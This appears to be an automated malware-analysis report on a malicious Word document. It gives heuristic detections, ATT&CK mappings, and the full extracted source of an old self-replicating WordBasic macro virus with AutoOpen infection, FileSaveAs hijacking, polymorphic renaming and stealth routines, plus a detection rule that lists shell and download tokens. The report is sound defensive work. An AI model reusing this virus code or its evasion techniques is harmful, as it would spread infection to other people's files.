MALICIOUS
108
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic macro markers and VBA macros, including an AutoOpen macro, indicating malicious intent. The VBA code manipulates document content and uses ToolsMacro to potentially execute other macros or modify document properties. The presence of AutoOpen and the manipulation of document content suggest an attempt to deliver a malicious payload or perform malicious actions upon opening.
Heuristics 4
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
ToolsMacro .Name = "autoopen", .Show = 1, .Delete
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3825 bytes |
SHA-256: 6d2e419752d4597221a41b6656eb926109833a06cac4f1c76bb4fd757a19d918 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Module1" Sub MAIN() On Error Resume Next ToolsMacro .Name = "autoopen", .Show = 1, .Delete ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete ToolsMacro .Name = "XXXXX", .Show = 1, .Delete AppMinimize ToolsMacro .Name = "autoopen", .Edit, .Show = 3 StartOfDocument EndOfDocument 1 EditCopy DocClose ToolsMacro .Name = "XXXXX", .Show = 1, .Edit StartOfDocument EndOfDocument 1 EditPaste DocClose 1 ToolsMacro .Name = "XXXXX", .Edit, .Show = 1 StartOfDocument LineDown 35 LineDown 9, 1 EditCopy DocClose ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 1 StartOfDocument LineDown 1 EndOfDocument 1 EditPaste DocClose 1 mutat Payld stlth AppRestore End Sub Sub FlSvA() Dim _fldg As FileSaveAs GetCurValues _fldg Dialog _fldg If _fldg.Format = 0 Then _fldg.Format = 1 FlNm$ = FileName$() FlMcr$ = FlNm$ + ":AutoOpen" MacroCopy "Global:XXXXX", FlMcr$ FileSaveAs _fldg End Sub Function Rndnm$() For Count = 1 To 5 rndnx = Int(Rnd() * (90 - 65) + 65) rndnx$ = rndnx$ + Chr$(rndnx) Next Count Rndnm$ = rndnx$ End Function Sub Payld() Rndnm = Int(Rnd() * (51 - 1) + 1) If Rndnm = 50 Then MsgBox "Greetings to: CyberDragon, CyberMonk, CyberBard, CyberSage, CyberTeck, CyberHawk, CyberBeef, CyberLich, CyberKnight. From: CyberPhantom" End Sub Sub mutat() ToolsMacro .Name = "XXXXX", .Edit, .Show = 1 StartOfDocument dnatx$ = GetText$(606, 611) 'mutat EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 dnatx$ = GetText$(648, 653) 'FlSvA EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 dnatx$ = GetText$(658, 663) '_fldg EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 dnatx$ = GetText$(612, 617) 'Payld EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 dnatx$ = GetText$(869, 874) 'Rndnm EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 dnatx$ = GetText$(880, 885) 'count EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 dnatx$ = GetText$(1299, 1304) 'dnatx EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 DocClose 1 End Sub Sub stlth() ToolsMacro .Name = "XXXXX", .Edit, .Show = 1 StartOfDocument LineDown 123 LineDown 2, 1 EditCopy DocClose ToolsMacro .Name = "ToolsMacro", .Edit, .Show = 1 StartOfDocument LineDown 1 EndOfDocument 1 EditPaste DocClose 1 ToolsMacro .Name = "XXXXX", .Edit, .Show = 1 StartOfDocument LineDown 127 LineDown 2, 1 EditCopy DocClose ToolsMacro .Name = "FileTemplates", .Edit, .Show = 1 StartOfDocument LineDown 1 EndOfDocument 1 EditPaste DocClose 1 End Sub Sub TlsMc() 'No Macro End Sub Sub FlTpt() 'No Macro End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.